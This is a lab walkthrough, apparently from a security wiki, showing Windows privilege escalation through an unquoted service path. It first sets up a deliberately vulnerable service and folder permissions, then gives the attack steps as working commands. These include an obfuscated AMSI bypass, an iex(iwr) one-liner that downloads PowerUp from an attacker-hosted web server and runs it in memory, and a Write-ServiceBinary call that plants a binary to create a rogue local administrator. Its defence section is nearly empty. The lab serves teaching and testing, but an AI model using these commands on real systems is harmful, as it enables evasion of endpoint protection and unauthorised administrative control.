# Unqouted Service Path

## Configuring

1. Login to `WS01` as the `Administrator` user with password `Welcome01!`.
2. Start PowerShell as administrator and run the following commands to create a service:

* Name = `Service`
* Executable path = `C:\Program Files\bin folder\program\bin x64\Service.exe`
* Start = `auto`

```
sc.exe create "Service" binpath= "C:\Program Files\bin folder\program\bin x64\Service.exe" start= auto
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FyqcCmd9H9PMN4cWp4dM6%2Fimage.png?alt=media\&token=3dbf3cef-dd89-4647-a657-26d256de2989)

3\. Run the following command to create the folders for the service:

```
mkdir "C:\Program Files\bin folder\program\bin x64"
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FUhmbfCLwOpkxdgZMXkjy%2Fimage.png?alt=media&#x26;token=f0565ac8-9fd3-42c6-b5d4-78ef5850f204" alt=""></div>

4\. Run icacls to check the current permissions on the directories with a space in it:

```
icacls.exe "C:\Program Files\bin folder"
icacls.exe "C:\Program Files\bin folder\program\bin x64"
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FOPwYP3AFhLv2bl3doG5q%2Fimage.png?alt=media\&token=9910db17-e237-426d-931f-7a184c4e26ff)

Currently the low privileged users can't create any files in the directories with a space. BUILTIN\Users has (RX) privileges. Which is **RX** (read and execute access). For more information about the icacls access rights check out [this SuperUser](https://superuser.com/questions/322423/explain-the-output-of-icacls-exe-line-by-line-item-by-item) post.

5\. Run icacls to give the `BUILTIN\Users` write permissions on `C:\Program Files\bin folder\program`.

```
icacls.exe "C:\Program Files\bin folder\program" /grant BUILTIN\Users:W
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FZYm3p3d6IcfQUj0cs4jS%2Fimage.png?alt=media&#x26;token=f327a217-e605-4dd8-ad65-5665ae2bf928" alt=""></div>

6\. Run icacls again the check the permissions on the directory:

```
icacls.exe "C:\Program Files\bin folder\program"
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fn7gonKiEuPMUxSr17zfM%2Fimage.png?alt=media\&token=c7227475-1b0f-448b-8e9f-ec7ed30e36f4)

## Attacking

### How it works

When a service exists whose executable path contains spaces and it isn't enclosed within quotes it could be used to run an executable of our choice. This is because if the service is not enclosed within quotes and it has spaces, it would handle the space as a break and pass the rest of the service path as an argument.

If the filename is a long string of text which contains spaces, and is not enclosed within quotation marks, the filename will be executed in the order from left to right until the space is reached and will append `.exe` at the end of this spaced path. For example, consider we have the following path:

`C:\Program Files\A Folder\B Folder\C Folder\Program.exe`

Windows will try to execute the following:

1. `C:\Program Files\A.exe`
2. `C:\Program Files\A Folder\B.exe`
3. `C:\Program Files\A Folder\B Folder\C.exe`
4. `C:\Program Files\A Folder\B Folder\C Folder\Program.exe`

### Tools

* Icacls.exe
* [PowerUp](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1)

### Executing the attack

#### Powerup

1. Download PowerUp on your attacking machine and host it on a webserver

```
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
python3 -M http.server 8090
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FHgGYWkDHTZt2wTsGoSEz%2Fimage.png?alt=media\&token=2d070fe9-63cd-45b8-b1d7-2bb12c82938d)

2\. Login on `WS01` with the user `John` and the password `Welcome2022!.`

```
evil-winrm -i 10.0.0.128 -u john -p 'Welcome2022!'
```

3\. Open Powershell, execute a amsi bypass such ass the one below and download PowerUp into memory with `iex` and `iwr` (`Invoke-Expression` and `Invoke-WebRequest`)

```
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
iex (iwr http://192.168.248.2:8090/PowerUp.ps1 -usebasicparsing)
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F9BTq7ZBtUgbECf2IF8v2%2Fimage.png?alt=media&#x26;token=3583faa5-7744-419f-8d16-3e5192d6008f" alt=""></div>

4\. Execute `Invoke-AllChecks` to run all the checks from `PowerUp`.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2F9a8mj61zlpEOywvKzyHI%2Fimage.png?alt=media&#x26;token=780bb383-7822-4f73-8adb-efb5d512985d" alt=""></div>

5\. The output tells us there is a service with the name `Service` and it has a **unqouted** service path (`C:\Program Files\bin folder\program\bin x64\service.exe`).

6\. To check if we can write a binary in one of the folders check the permissions the folders before the one with a space in it. Since we need to write the binaries `C:\Program Files\bin.exe` or `C:\Program Files\bin folder\program\bin.exe`.

```
icacls.exe "C:\Program Files"
icacls.exe "C:\Program Files\bin folder\program"
```

We have no write permissions in `C:\Program Files`:

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FRZwtCtaLPL4hKm4kzLWR%2Fimage.png?alt=media&#x26;token=f0b9c403-21d6-4503-bcab-1706549ba8c8" alt=""></div>

But we do have write permissions in `C:\Program Files\bin folder\program`.

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fr9g0Hne7tsx11O6BMnkP%2Fimage.png?alt=media\&token=6f561a35-fc91-48cb-b43e-453c040d98a1)

7\. To abuse this run the following command from PowerUp, which will create a executable `bin.exe` in the path `C:\Program Files\bin folder\program` which will add a new local administrator.

```
Write-ServiceBinary -ServiceName 'Service' -ServicePath 'C:\Program Files\bin folder\program\bin.exe' -Username 'privesc' -Password "Welcome2022!" 
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FOmoaUl94UhoMmb08EvLE%2Fimage.png?alt=media\&token=d3b46fb9-4eca-4506-a8d9-95ae1eb963b4)

8\. Our current user can't start the service, which means we should restart the machine and check if the user `privesc` is created.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FYizFpuCQFMuaa2xAcYHp%2Fimage.png?alt=media&#x26;token=37e2334a-91db-4269-a0ff-1e7e3ee756fb" alt=""></div>

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FR3l1STvhdLXBzAAMT17Y%2Fimage.png?alt=media&#x26;token=c34d3555-2ef7-4e4e-b6c3-19b211511312" alt=""></div>

9\. Start a new PowerShell session as Administrator and fill in the credentials `privesc:Welcome2022!`.

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FkaqZJYxaCmVpe5nu2ENe%2Fimage.png?alt=media&#x26;token=41fcb13a-f405-4b4d-a2eb-1858a0f244a7" alt=""></div>

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FK8NifV9WQsR1xXMEWj7h%2Fimage.png?alt=media\&token=ab42d45b-4e69-4105-b5e5-7d7157dee493)

#### Cleanup

Remove the user privesc and the binary

```
Remove-Item C:\Program Files\bin folder\program\bin.exe
net user privesc /del
```

## Defending

### Recommendations

* Periodically check for vulnerable services and directory permissions.

### Detection

## References

{% embed url="<https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae>" %}

{% embed url="<https://superuser.com/questions/322423/explain-the-output-of-icacls-exe-line-by-line-item-by-item>" %}

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1>" %}
